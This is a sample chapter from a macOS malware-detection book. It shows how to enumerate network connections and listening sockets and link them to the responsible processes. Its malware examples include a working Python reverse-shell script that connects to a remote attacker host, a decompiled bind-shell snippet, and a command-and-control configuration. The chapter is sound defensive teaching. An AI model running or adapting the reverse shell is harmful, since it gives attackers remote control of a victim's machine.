
Most Mac malware specimens make exten-
sive use of the network for tasks such as 

exfiltrating data, downloading additional 
payloads, or communicating with command-and-

control servers. If you can observe these unauthorized 
network events, you can turn them into a powerful 
detection heuristic. In this chapter, I’ll show you exactly 
how to create a snapshot of network activity, such as 
established connections and listening sockets, and 
tie each event to the process responsible for it. This 
information should play a vital role in any malware 
detection system, as it can detect even previously 
unknown malware.

4
N E T W O R K  S T A T E  A N D 

S T A T I S T I C S
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I’ll concentrate on two approaches to enumerating network 
information: the proc_pid* APIs and the APIs found in the private 
NetworkStatistics framework. You can find complete code for both 
approaches in the Chapter 4 folder in this book’s GitHub repository.

Host-Based vs. Network-Centric Collection
Generally, network information is captured either on the host or exter-
nally, at the  network level (for example, via network security appliances). 
Though there are pros and cons to both approaches, this chapter focuses 
on the former. For malware detection, I prefer the host-based approach, 
as it can reliably identify the specific process responsible for observed 
network events.

It’s hard to overstate the value of being able to tie a network event to 
a process. This link allows you to closely inspect the process accessing the 
network and apply other heuristics to it to determine whether it might 
be malicious. For example, a persistently installed, non-notarized binary 
accessing the network may indeed be malware. Identifying the responsible 
process can also help uncover malware trying to masquerade its traffic as 
legitimate; a standard HTTP /S request originating from a signed and nota-
rized browser is probably benign, while the same request associated with an 
unrecognized process is definitely worth examining more closely.

Another advantage of collecting networking information at the host 
level is that network traffic is usually encrypted, and a host-based approach 
can often avoid the complexities of network-level encryption, which gets 
applied later. You’ll see this benefit in Chapter 7, which covers host-based 
approaches for continuously monitoring networking traffic.

Malicious Networking Activity
Of course, the fact that a program accesses the network doesn’t mean it is 
malware. Most legitimate software on your computer likely uses the net-
work. Still, certain types of network activity are more common in malware 
than in legitimate software. Here are a few examples of network activity 
that you should examine more closely:

Listening sockets open to any remote connection    Malware may 
expose remote access by connecting a local shell to a socket that listens 
for connections from an external interface.

Beacon requests that occur at regular intervals    Implants and other 
persistent malware may regularly check in with their command-and-
control servers.

Large amounts of uploaded data    Malware often exfiltrates data from 
an infected system.

Let’s consider some examples of malware and their network interactions. 
We’ll start with a specimen known as Dummy (named so by yours truly, as it’s 
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rather simple minded). The malware creates an interactive shell that gives a 
remote attacker the ability to execute arbitrary commands on the infected 
host. Specifically, it persistently executes the following bash script containing 
Python code (which I’ve formatted to improve readability):

#!/bin/bash
while :
do
    python -c 
        'import socket,subprocess,os;
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("185.243.115.230",1337));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done

This code connects to the attacker’s server, found at 185.243.115.230 on 
port 1337. It then duplicates the standard in (stdin), out (stdout), and error 
(stderr) streams (whose file descriptors are 0, 1, and 2, respectively) to the 
connected socket. Lastly, it executes /bin/sh with the -i flag to complete the  
setup of an interactive reverse shell. If you enumerated network connections  
on the infected host (for example, using the macOS lsof utility, which lists 
open file descriptors from all processes), you would see a connection belong-
ing to this Python-based shell:

% lsof -nP | grep 1337 | grep -i python
Python   ...   TCP   192.168.1.245:63353->185.243.115.230:1337 (ESTABLISHED)

Our second example is tied to a suspected Chinese hacker group best 
known for its Alchimist [sic] attack framework.1 When executed, the mali-
cious code drops a dynamic library named payload.so. If we open this library 
(originally written in Go) in a decompiler, we can see that it contains logic 
to bind a shell to a listening socket:

os.Getenv(..., NOTTY_PORT, 0xa, ...);
strconv.ParseInt(...);
fmt.Sprintf(..., 0.0.0.0, ..., port, ...);
net.Listen("tcp", address);
main.handle_connection(...);

It first reads a custom environment variable (NOTTY_PORT) to build a 
network address string of the format 0.0.0.0:port. If no port is specified, 
it defaults to 4444. Next, it invokes the Listen method from the Go net 
library to create a listening TCP socket. A method named handle_connection 
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handles any connection to this socket. Using my network enumeration tool 
Netiquette (Figure 4-1), you can see the malware’s listening socket.2

Figure 4-1: Netiquette showing the listening socket on port 4444

The astute reader may have noticed that the socket listening on port 
4444 is tied to a process named loader and not directly to the malicious 
payload.so library. This is because macOS tracks network events at the process 
level, not at the library level. Unfortunately, the researchers who uncov-
ered the threat didn’t obtain the program that hosts the library, so I wrote 
the loader program to load and execute the malicious library for dynamic 
analysis.

Any code that uses system APIs to enumerate network connections can 
identify only the process from which the network activity originated. This 
activity could originate directly from code in the process’s main binary or, 
as is the case here, from one of the libraries loaded in its address space, 
providing yet another reason why it’s worth enumerating and analyzing a 
process’s loaded libraries, as we did in Chapter 1.

Let’s consider one last sample. Rather than invoke a shell, the 
advanced persistent threat (APT) implant oRAT takes the more common 
approach of establishing a connection to an attacker’s command-and- 
control server. Using this connection, it can receive tasking to execute a 
wide range of actions that afford the remote attack complete control over 
the infected host.3 Rather unusually, it performs all tasking, as well as 
regular “heartbeat” check-ins, over a single multiplexed persistent connec-
tion. We can find the configuration for this connection, such as the pro-
tocol and address of the server, embedded directly in the oRAT binary. 
The information is encrypted, but as the decryption key is embedded in 
the binary as well, we can easily decrypt or dump it from memory at run-
time, as discussed in Chapter 9 of The Art of Mac Malware, Volume 1. Here 
is a snippet of the decrypted configuration containing information about 
the command-and-control server:
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{
    ...
    "C2": {
        "Network": "stcp",
        "Address": "darwin.github.wiki:53"
    },
    ...
}

In the configuration, the value for the Network key controls whether oRAT 
will communicate over TCP or UDP and whether it will encrypt its network 
traffic. A value of stcp indicates TCP encrypted via Go’s Transport Layer 
Security (TLS) package.4 The configuration also reveals that the traffic is 
destined for the command-and-control server at darwin.github.wiki and will 
take place over port 53. Though traffic over this port is traditionally dedi-
cated to DNS, there is nothing stopping malware authors from also making 
use of it, perhaps to blend in with legitimate DNS traffic or to slip through 
firewalls that normally allow outgoing traffic on this port.

Once the malware is running, we can readily observe the connection to 
the attacker’s server, either programmatically or manually, via system or third-
party networking tools. I’ll now focus on the former, showing you how to pro-
grammatically enumerate sockets and network connections, provide metadata 
for each, and identify the process responsible for the network activity.

Capturing the Network State
There are several ways to capture network activity, such as with listening 
sockets and established connections. One method is to use various proc_pid* 
APIs. This workflow is inspired by Palomino Labs’s get_process_handles 
project.5

First, we’ll invoke the proc_pidinfo function with a process ID and the 
PROC_PIDLISTFDS constant to get a list of all file descriptors currently opened 
by the specified process. We’re interested in this list of file descriptors 
because it will also include sockets. To extract just the sockets, we’ll 
iterate over all the file descriptors, focusing on those whose type is set to 
PROX_FDTYPE_SOCKET.

Certain socket types have names prefixed with AF, which stands for 
address family. Some of these sockets (for example, those whose type is  
AF_UNIX) are local, and programs can use them as an interprocess com-
munication (IPC) mechanism. These aren’t generally related to malicious 
activity, so we can ignore them, especially in this context of enumerating 
network activity. However, for sockets of type AF_INET (used for IPv4 connec-
tions) or AF_INET6 (used for IPv6 connections), we can extract information 
such as their protocol (UDP or TCP), local port, and address. For TCP 
sockets, we’ll also extract their remote port, address, and state (whether it’s 
listening, established, and so on).

Let’s walk through code that implements this functionality, which you 
can find in this chapter’s enumerateNetworkConnections project.
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Retrieving Process File Descriptors
We begin with a call to the proc_pidinfo API, passing it a process ID, the PROC 
_PIDLISTFDS flag, and three arguments set to zero to obtain the size needed for 
the full list of the process’s open file descriptors (Listing 4-1). It’s common, 
especially for older C-based APIs such as proc_pid*, to call the function first 
with a NULL buffer and zero-byte length to obtain the true length required to 
store the data. A subsequent call to the same API with a new size and newly 
allocated buffer will then return the requested data.

#import <libproc.h>
#import <sys/proc_info.h>

pid_t pid = <some process id>;

1 int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, NULL, 0);
struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

2 proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);
...

Listing 4-1: Obtaining a process’s file descriptors

Once we’ve obtained this necessary size and allocated an appropriate 
buffer 1, we reinvoke proc_pidinfo, this time with the buffer and its size, to 
retrieve the process’s file descriptors 2. When the function returns, the 
provided buffer will contain a list of proc_fdinfo structures: one for each of 
the process’s open file descriptors. The header file sys/proc_info.h defines 
these structures as follows:

struct proc_fdinfo {
    int32_t   proc_fd;
    uint32_t  proc_fdtype;
};

They contain just two members: a file descriptor (proc_fd) and the file 
descriptor type (proc_fdtype).

Extracting Network Sockets
With a list of a process’s file descriptors, you can now iterate over each to 
find any sockets (Listing 4-2).

for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
    if(PROX_FDTYPE_SOCKET != fdInfo[i].proc_fdtype) {
        continue;
    }
}

Listing 4-2: Iterating over a list of file descriptors ignoring non-sockets
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As the buffer has been populated with a list of proc_fdinfo structures, 
the code scopes the iteration by taking the buffer’s size and dividing it 
by the PROC_PIDLISTFD_SIZE constant to obtain the number of items in the 
array. This constant conveniently holds the proc_fdinfo structure size. Next, 
the code examines each file descriptor’s type by checking the proc_fdtype 
member of each proc_fdinfo structure. Sockets have a type of PROX_FDTYPE 
_SOCKET; the code ignores file descriptors of any other type by executing the 
continue statement, which causes the current iteration of the for loop to 
terminate prematurely and the next to commence, meaning it will begin 
processing the next file descriptor.

Obtaining Socket Details
Now, to get detailed information about the sockets, we invoke the proc_pidfd 
info function. It takes five parameters: the process ID, the file descriptor, 
a value indicating the type of information we’re requesting from the file 
descriptor, an out pointer to a structure, and the structure’s size (Listing 4-3).

struct socket_fdinfo socketInfo = {0};

proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDSOCKETINFO, &socketInfo, PROC_PIDFDSOCKETINFO_SIZE);

Listing 4-3: Obtaining information about a socket file descriptor

Because we’ll place this code in the for loop iterating over the list of a 
process’s sockets (Listing 4-2), we can reference each socket by indexing 
into this list: fdInfo[i].proc_fd. The PROC_PIDFDSOCKETINFO constant instructs 
the API to return socket information, while the PROC_PIDFDSOCKETINFO_SIZE 
constant contains the size of a socket_fdinfo structure. You can find both in 
Apple’s sys/proc_info.h file.

I mentioned that not all sockets are related to network activity. As such, 
the code focuses only on the networking sockets whose family is either 
AF_INET or AF_INET6. These sockets are often referred to as Internet Protocol 
(IP) sockets. We can find a socket’s family in the socket_fdinfo structure by 
examining the soi_family member of its psi member (Listing 4-4).

if( (AF_INET != socketInfo.psi.soi_family) && (AF_INET6 != socketInfo.psi.soi_family) )  {
    continue;
}

Listing 4-4: Examining a socket’s family

Because we execute this code within the for loop, we skip any non-IP 
socket by executing the continue statement, which advances to the next.

The remainder of the code extracts various information from the socket 
_fdinfo structure and saves it into a dictionary. You’ve already seen this fam-
ily, which should be either AF_INET or AF_INET6 (Listing 4-5).
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NSMutableDictionary* details = [NSMutableDictionary dictionary];
details[@"family"] = (AF_INET == socketInfo.psi.soi_family) ? @"IPv4" : @"IPv6";

Listing 4-5: Extracting a socket’s family type

We can find the socket’s protocol in the soi_kind member of the psi 
structure. (Recall that psi is a socket_info structure.) It’s important to take 
into account the differences between protocols when extracting informa-
tion from the socket, because you’ll have to reference different structures. 
For UDP sockets, which have soi_kind set to SOCKINFO_IN, we use the pri_in 
member of the soi_proto structure, whose type is in_sockinfo. On the other 
hand, for TCP sockets (SOCKINFO_TCP), we use pri_tcp, a tcp_sockinfo structure 
(Listing 4-6).

if(SOCKINFO_IN == socketInfo.psi.soi_kind) {
    struct in_sockinfo sockInfo_IN = socketInfo.psi.soi_proto.pri_in;
    // Add code to extract information from the UDP socket.
} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    // Add code to extract information from the TCP socket.
}

Listing 4-6: Extracting UDP or TCP socket structures

Once we’ve identified the appropriate structure, extracting information 
such as the local and remote endpoints for the socket is largely the same for 
either socket type. Even so, UDP sockets generally aren’t bound, so informa-
tion about the remote endpoint won’t always be available. Moreover, these 
sockets are stateless, whereas TCP sockets will have a state.

Let’s now look at the code to extract information of interest from a TCP 
socket, starting with both the local and remote ports (Listing 4-7).

} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    details[@"protocol"] = @"TCP";

    details[@"localPort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_lport)]; 1

    details[@"remotePort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_fport)]; 2
    ...
}

Listing 4-7: Extracting the local and remote ports from a TCP socket

We can find the local and remote ports in the insi_lport 1 and insi 
_fport 2 members of the tcpsi_ini structure, itself an in_sockinfo structure. 
As these ports are stored in network-byte ordering, we convert them to host-
byte ordering with the ntohs API.

Next, we retrieve the local and remote addresses from the same tcpsi 
_ini structure. Which structure members we access depends on whether 
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the addresses are IPv4 or IPv6. In Listing 4-8, we extract IPv4 (AF_INET) 
addresses.

#import <arpa/inet.h>

if(AF_INET == socketInfo.psi.soi_family) {
    char source[INET_ADDRSTRLEN] = {0};
    char destination[INET_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET,
    &(sockInfo_TCP.tcpsi_ini.insi_laddr.ina_46.i46a_addr4), source, sizeof(source)); 1

    inet_ntop(AF_INET, &(sockInfo_TCP.tcpsi_ini.insi_faddr.ina_46.i46a_addr4),
    destination, sizeof(destination)); 2
}

Listing 4-8: Extracting local and remote IPv4 addresses

As shown in the code, we invoke the inet_ntop function to convert the IP 
addresses to human-readable strings. The local address is in the insi_laddr 
member 1, while the remote address is in insi_faddr 2. The addresses spec-
ify their maximum length using the INET_ADDRSTRLEN constant, which also 
accounts for a NULL terminator.

For IPv6 (AF_INET6) sockets, we use the inet_ntop function once again but 
pass it an in6_addr structure (named ina_6 in the in_sockinfo structure). Also 
note that the output buffers should be of size INET6_ADDRSTRLEN (Listing 4-9).

if(AF_INET6 == socketInfo.psi.soi_family) {
    char source[INET6_ADDRSTRLEN] = {0};
    char destination[INET6_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_laddr.ina_6), source, sizeof(source));

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_faddr.ina_6), destination, sizeof(destination));
}

Listing 4-9: Extracting local and remote IPv6 addresses

Finally, we can find the state of the TCP connection (whether it’s 
closed, listening, established, and so on) in the tcpsi_state member of the 
tcp_sockinfo structure. The sys/proc_info.h header file defines the possible 
states as follows:

#define TSI_S_CLOSED            0       /* closed */
#define TSI_S_LISTEN            1       /* listening for connection */
#define TSI_S_SYN_SENT          2       /* active, have sent syn */
#define TSI_S_SYN_RECEIVED      3       /* have sent and received syn */
#define TSI_S_ESTABLISHED       4       /* established */
...

The Art of Mac Malware, Volume 2 (Sample Chapter) © 11/21/24 by Patrick Wardle



110   Chapter 4

In Listing 4-10, we convert a subset of these numeric values to human-
readable strings with a simple switch statement.

switch(sockInfo_TCP.tcpsi_state) {
    case TSI_S_CLOSED:
        details[@"state"] = @"CLOSED";
        break;

    case TSI_S_LISTEN:
        details[@"state"] = @"LISTEN";
        break;

    case TSI_S_ESTABLISHED:
        details[@"state"] = @"ESTABLISHED";
        break;
    ...
}

Listing 4-10: Converting TCP states (tcpsi_state) to human-readable strings

Now, what if you wanted to resolve the destination IP address to a 
domain? One option is to use the getaddrinfo API, which can accomplish 
this synchronously. This function will reach out to DNS servers to map the 
IP address to a domain, so you may want to perform this operation in a 
separate thread or use its asynchronous version, getaddrinfo_a. Listing 4-11 
shows a simple helper function that accepts an IP address as a char* string 
and then attempts to resolve it to a domain and return it as a string object.

#import <netdb.h>
#import <sys/socket.h>

NSString* hostForAddress(char* address) {
    struct addrinfo* results = NULL;
    char hostname[NI_MAXHOST] = {0};
    NSString* resolvedName = nil;
  1 if(0 == getaddrinfo(address, NULL, NULL, &results)) {
      2 for(struct addrinfo* r = results; r != NULL; r = r->ai_next) {
            if(0 == getnameinfo(r->ai_addr, r->ai_addrlen,
              3 hostname, sizeof(hostname), NULL, 0, 0)) {
                resolvedName = [NSString stringWithUTF8String:hostname];
                break;
            }
        }
    }
    if(NULL != results) {
        freeaddrinfo(results);
    }

    return resolvedName;
}

Listing 4-11: Resolving an address to a domain
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IP addresses can resolve to multiple hostnames or none at all. The lat-
ter case is common in malware that includes a hardcoded IP address for its 
remote server, which may not have a domain name entry.

The IP address-to-host resolution code first invokes the getaddrinfo 
function with the passed-in IP address 1. If this call succeeds, it allocates 
and initializes a list of structures of type addrinfo for the specified address, 
as there may be multiple responses. The code then begins iterating over 
this list 2, invoking the getnameinfo function on the addrinfo structures 3. 
If the getnameinfo function succeeds, the code converts the name to a string 
object and exits the loop, though it could also keep iterating to build up a 
list of all resolved names.

Running the Tool
Let’s compile and run the network enumeration code, found in the enumerate 
NetworkConnections project, on a system that is infected with Dummy. The 
code looks at only one process at a time, so we specify the process ID (96202) 
belonging to the instance of Dummy’s Python script as an argument:

% ./enumerateNetworkConnections 96202
Socket details: {
    family = "IPv4";
    protocol = "TCP";
    localPort = 63353;
    localIP = "192.168.1.245";
    remotePort = 1337;
    remoteIP = "185.243.115.230";
    resolved = "pttr2.qrizi.com";
    state = "ESTABLISHED";
}

As expected, the tool is able to enumerate Dummy’s connection to the 
attacker’s command-and-control server. Specifically, it shows the informa-
tion about both the local and remote endpoints of the connection, as well 
as the connection’s family, protocol, and state.

To improve this code in production, you would likely want to enumerate 
all network connections, not only those for the single process a user specified. 
You could easily extend the code to first retrieve a list of running processes 
and then iterate through this list to enumerate each process’s network connec-
tions. Recall that in Chapter 1 I showed how to retrieve a list of process IDs.

Enumerating Network Connections
I noted that one minor downside to using the proc_pid* APIs is that they 
are process specific. That is to say they don’t return information about 
system-wide network activity. Although we could easily iterate over each 
process to get a broader look at the system’s network activity, the private 
NetworkStatistics framework provides a more efficient way to accomplish this 
task. It also offers statistics about each connection, which can help us detect 
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malware specimens (for example, those that exfiltrate large amounts of 
data from an infected system).

In this section, we’ll use this framework to take a one-time snapshot 
of global network activity, and in Chapter 7, we’ll leverage it to continually 
receive updates about network activity as it occurs.

The NetworkStatistics framework underlies a relatively unknown network-
ing utility that macOS ships with: nettop. When executed from the terminal, 
nettop displays system-wide network activity grouped by process. Here is the 
abridged output from nettop when run on my Mac:

% nettop
launchd.1
    tcp6 *.49152<->*.*
        Listen

timed.352
    udp4 192.168.1.245:123<->usscz2-ntp-001.aaplimg.com:123

WhatsApp Helper.1186
    tcp6 2603:800c:2800:641::cc.54413<->whatsapp-cdn6-shv-01-lax3.fbcdn.net.443   Established

com.apple.WebKi.78285
tcp6 2603:800c:2800:641::cc.54863<->lax17s49-in-x0a.1e100.net.443  Established
tcp4 192.168.1.245:54810<->104.244.42.66:443   Established
tcp4 192.168.1.245:54805<->104.244.42.129:443  Established

Signal Helper (.8431
tcp4 192.168.1.245:54874<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established
tcp4 192.168.1.245:54415<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established

We can use otool to see that nettop leverages the NetworkStatistics frame-
work. In older versions of macOS, you’ll find this framework in /System/
Library/PrivateFrameworks/, while on newer versions, it’s stored in the dyld 
shared cache:

% otool -L /usr/bin/nettop
/usr/bin/nettop:
  /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
  /usr/lib/libncurses.dylib
  /System/Library/PrivateFrameworks/NetworkStatistics.framework/Versions/A/NetworkStatistics
  /usr/lib/libSystem.B.dylib

Let’s programmatically enumerate system-wide network activity using 
this framework, which can provide us with network statistic objects rep-
resenting listening sockets, network connections, and more. The macOS 
guru Jonathan Levin first documented this approach in his netbottom com-
mand line tool.6 The code presented in this section, and in this chapter’s 
 enumerateNetworkStatistics project, is directly inspired by his project.

The Art of Mac Malware, Volume 2 (Sample Chapter) © 11/21/24 by Patrick Wardle



Network State and Statistics   113

Linking to NetworkStatistics
Any program that leverages a framework must either be linked in at com-
pile time or dynamically loaded at runtime. In Xcode, you can add a frame-
work to the Link Binary with Libraries list under Build Phases (Figure 4-2).

Figure 4-2: Linking to the NetworkStatistics framework

Because the NetworkStatistics framework is private, there is no publicly 
available header file, so you’ll have to manually define its APIs and con-
stants. For example, you can create an instance of a network statistic man-
ager using the NStatManagerCreate API, but you must first define this API, as 
shown in Listing 4-12.

NStatManagerRef NStatManagerCreate(
const struct __CFAllocator*, dispatch_queue_t, void (^)(void*, int));

Listing 4-12: A function definition for the private NStatManagerCreate API

Similarly, you must define all constants, such as the keys in the diction-
ary that describe each network statistic object. For example, Listing 4-13 
shows how you would define kNStatSrcKeyPID, the key that holds the ID of the 
process responsible for the network connection in question.

extern CFStringRef kNStatSrcKeyPID;

Listing 4-13: A definition of the private kNStatSrcKeyPID constant

See this chapter’s enumerateNetworkStatistics project’s header file for all 
function and constant definitions.

Creating Network Statistic Managers
Now that we’ve linked to the NetworkStatistics framework and defined the  
necessary APIs and constants, it’s time to write some code. In Listing 4-14,  
we create a network statistic manager via the NStatManagerCreate API. This 
manager is an opaque object required for subsequent NetworkStatistics  
API calls.
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As its first parameter, NStatManagerCreate API takes a memory allocator. 
Here, we use the default allocator, kCFAllocatorDefault. The second param-
eter is a dispatch queue, where we’ll execute the callback block specified in 
the third argument. I recommend using a custom dispatch queue rather 
than the main thread’s dispatch queue to avoid overusing, and potentially 
blocking, the main thread.

1 dispatch_queue_t queue = dispatch_queue_create("queue", NULL);

NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
2 ^(NStatSourceRef source, int unknown) {
    // Add code here to complete the implementation.
});

Listing 4-14: Initializing a network statistic manager

After we initialize the dispatch queue 1, we invoke NStatManagerCreate to 
create a manager object. The last parameter for this API is a callback block 
that the framework will invoke during a query. It takes two arguments: an 
NStatSourceRef object representing a network statistic and an integer whose 
meaning is unknown (but that also doesn’t appear relevant to our code) 2. 
In the next section, I’ll explain how to extract network information of inter-
est when the framework invokes this callback.

Defining Callback Logic
The framework will invoke the NStatManagerCreate callback block auto-
matically when we kick off a query using the NStatManagerQuery AllSources 
Descriptions API, which is discussed shortly. To extract information from 
each network statistic object passed into the callback block, we invoke the 
NStatSourceSetDescriptionBlock API to specify yet another callback block. 
Here is this function’s definition:

void NStatSourceSetDescriptionBlock(NStatSourceRef arg, void (^)(NSMutableDictionary*));

We call this function with the NStatSourceRef object and a callback block, 
which the framework will invoke asynchronously with a dictionary contain-
ing information about the network statistic object (Listing 4-15).

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue, 
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        printf("%s\n", description.description.UTF8String);
    });
});

Listing 4-15: Setting a description callback block
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As it stands, the code won’t perform any operation until we start a 
query. Once we’ve started a query, it will invoke this block; for now, we sim-
ply print out the dictionary that describes the network statistic object.

Starting Queries
Before starting a query, we must tell the framework what network statistics 
we’re interested in. For statistics on all TCP and UDP network sockets and 
connections, we invoke the NStatManagerAddAllTCP and NStatManagerAddAllUDP 
functions, respectively. As you can see in Listing 4-16, both take a network 
statistic manager (which we’ve previously created) as their only argument.

NStatManagerAddAllTCP(manager);
NStatManagerAddAllUDP(manager);

Listing 4-16: Querying for statistics about TCP and UDP network events

Now we can kick off the query via the NStatManagerQueryAll Sources 
Descriptions function (Listing 4-17).

dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

1 NStatManagerQueryAllSourcesDescriptions(manager, ^{
  2 dispatch_semaphore_signal(semaphore);
});

3 dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
4 NStatManagerDestroy(manager);

Listing 4-17: Querying all network sources

Once we invoke the NStatManagerQueryAllSourcesDescriptions function 1, 
the network statistic query will begin, invoking the callback block we set for 
each network statistic object to provide a comprehensive snapshot of the 
current state of the network.

The NStatManagerQueryAllSourcesDescriptions function takes the network 
statistic manager and yet another callback block to invoke when the network 
query completes. In this implementation, we’re interested in a one-time 
snapshot of the network, so we signal a semaphore 2 on which the main 
thread is waiting 3. When the query completes, we clean up the network 
statistic manager using the NStatManagerDestroy function 4.

Running the Tool
If we compile and run this code, it will enumerate all network connections 
and listening sockets, including Dummy’s remote shell connection:

% ./enumerateNetworkStatistics
...
{
    TCPState = Established;
    ...
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    ifWiFi = 1;
    interface = 12;
    localAddress = {length = 16, bytes = 0x1002c7f9c0a801f50000000000000000};
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    remoteAddress = {length = 16, bytes = 0x10020539b9f373e60000000000000000};
    ...
}

The local address (kNStatSrcKeyLocal) and remote address (kNStatSrcKey 
Remote) are stored in NSData objects, which contain sockaddr_in or sockaddr_in6 
structures. If you want to convert them into printable strings, you’ll need to 
invoke routines such as inet_ntop. Listing 4-18 shows the code to do this.

NSString* convertAddress(NSData* data) {
    in_port_t port = 0;
    char address[INET6_ADDRSTRLEN] = {0};

    struct sockaddr_in* ipv4 = NULL;
    struct sockaddr_in6* ipv6 = NULL;

    if(AF_INET == ((struct sockaddr*)data.bytes)->sa_family) { 1
        ipv4 = (struct sockaddr_in*)data.bytes;
        port = ntohs(ipv4->sin_port);
        inet_ntop(AF_INET, (const void*)&ipv4->sin_addr, address, INET_ADDRSTRLEN);
    } else if (AF_INET6 == ((struct sockaddr*)data.bytes)->sa_family) { 2
        ipv6 = (struct sockaddr_in6*)data.bytes;
        port = ntohs(ipv6->sin6_port);
        inet_ntop(AF_INET6, (const void*)&ipv6->sin6_addr, address, INET6_ADDRSTRLEN);
    }

    return [NSString stringWithFormat:@"%s:%hu", address, port];
}
...

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        NSData* source = description[(__bridge NSString*)kNStatSrcKeyLocal];
        NSData* destination = description[(__bridge NSString*)kNStatSrcKeyRemote];

        printf("%s\n", description.description.UTF8String);
        printf("%s -> %s\n",
        convertAddress(source).UTF8String, convertAddress(destination).UTF8String); 3
    });
});

Listing 4-18: Converting a data object into a human-readable address and port
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This simple helper function accepts a network statistic address and 
then extracts and formats the port and IP address for both IPv4 1 and 
IPv6 addresses 2. Here, it prints out both the source and destination 
endpoints 3 to provide more readable output. As an example, the 
following output displays statistics about Dummy’s reverse shell:

% ./enumerateNetworkStatistics
...
{
    TCPState = Established;
    ...
    ifWiFi = 1;
    interface = 12;
    localAddress = 192.168.1.245:63353
    processID = 96202;
    processName = Python;
    provider = TCP;
    ...
    remoteAddress = 185.243.115.230:1337
    ...
}

Although not shown in this abridged output, the network statistic 
dictionary also contains kNStatSrcKeyTxBytes and kNStatSrcKeyRxBytes keys, 
which hold the number of bytes uploaded and downloaded, respectively. 
Listing 4-19 shows how one might programmatically extract these traffic 
statistics as unsigned long integers.

NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
    unsigned long bytesUp =
    [description[(__bridge NSString *)kNStatSrcKeyTxBytes] unsignedLongValue];

    unsigned long bytesDown =
    [description[(__bridge NSString *)kNStatSrcKeyRxBytes] unsignedLongValue];
    ...
});

Listing 4-19: Extracting traffic statistics

This data can help us gain insight into traffic trends. For example, a con-
nection with a large number of uploaded bytes tied to an unknown process 
may reveal malware exfiltrating a large amount of data to a remote server.

Conclusion
The majority of malware interacts with the network, providing us with the 
opportunity to build powerful heuristics. In this chapter, I presented two 
methods of programmatically enumerating the state of a network and then 
associating this state with the responsible processes. The ability to identify 
the process responsible for a listening socket or established connection 
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is essential for accurately detecting malware and is one of the main 
advantages of host-based approaches over network-centric ones.

So far, we’ve built heuristics based on information gleaned from pro-
cesses (in Chapter 1), binaries (in Chapter 2), code signing (in Chapter 3), 
and the network (in this chapter). But the operating system provides other 
sources of detection as well. In the next chapter, you’ll dive into the detec-
tion of persistence techniques.

Notes
 1. Patrick Wardle, “The Mac Malware of 2022,” Objective-See, January 1, 

2023, https://objective-see.org/blog/blog_0x71.html#-insekt.

 2. See https://objective-see.org/products/netiquette.html.

 3. Patrick Wardle, “Making oRAT Go,” paper presented at Objective by 
the Sea v5, Spain, October 7, 2022, https://objectivebythesea.org/v5/talks/
OBTS_v5_pWardle.pdf.

 4. Daniel Lunghi and Jaromir Horejsi, “New APT Group Earth Berberoka 
Targets Gambling Websites with Old and New Malware,” TrendMicro, 
April 27, 2022, https://www.trendmicro.com/en_ph/research/22/d/new-apt 
-group-earth-berberoka-targets-gambling-websites-with-old.html.

 5. See https://github.com/palominolabs/get_process_handles.

 6. See http://newosxbook.com/src.jl?tree=listings&file=netbottom.c.

The Art of Mac Malware, Volume 2 (Sample Chapter) © 11/21/24 by Patrick Wardle




